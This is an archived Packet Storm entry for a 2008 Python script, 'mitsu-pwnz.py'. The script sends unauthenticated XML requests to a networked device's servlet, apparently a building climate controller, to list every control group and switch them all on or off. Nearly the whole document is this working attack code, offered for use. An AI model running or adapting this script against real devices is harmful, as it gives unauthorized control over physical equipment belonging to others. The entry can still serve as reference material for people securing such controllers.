Lucene search

K

mitsu-pwnz.py.txt

🗓️ 24 Mar 2008 00:00:00Reported by Chris WithersType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Python script for controlling a networked device using XML requests

Show more
Code
`"""  
usage: python pwnz.py 192.168.1.x [on|off]  
"""  
  
# you can get BeautifulSoup from:  
# http://www.crummy.com/software/BeautifulSoup/#Download  
from BeautifulSoup import BeautifulSoup  
from httplib import HTTPConnection  
import sys  
  
ip = sys.argv[1]  
template = '<Mnet Group="%%s" Drive="%s" />' % sys.argv[2].upper()  
  
def post(data):  
c = HTTPConnection(ip)  
c.request('POST','/servlet/MIMEReceiveServlet',data,{'content-type':'text/xml'})  
return BeautifulSoup(c.getresponse().read())  
  
# first out what groups there are  
soup = post("""  
<?xml version="1.0" encoding="UTF-8"?>  
<Packet>  
<Command>getRequest</Command>  
<DatabaseManager>  
<ControlGroup>  
<MnetList/>  
</ControlGroup>  
</DatabaseManager>  
</Packet>  
""")  
group_nums = [(g['group']) for g in soup.findAll('mnetrecord')]  
# now go through and set all the on/off bits to what we were told  
soup = post("""  
<?xml version="1.0" encoding="UTF-8"?>  
<Packet>  
<Command>setRequest</Command>  
<DatabaseManager>  
%s  
</DatabaseManager>  
</Packet>  
""" % ('\n'.join([template%g for g in group_nums])))  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
24 Mar 2008 00:00Current
7.4High risk
Vulners AI Score7.4
15
.json
Report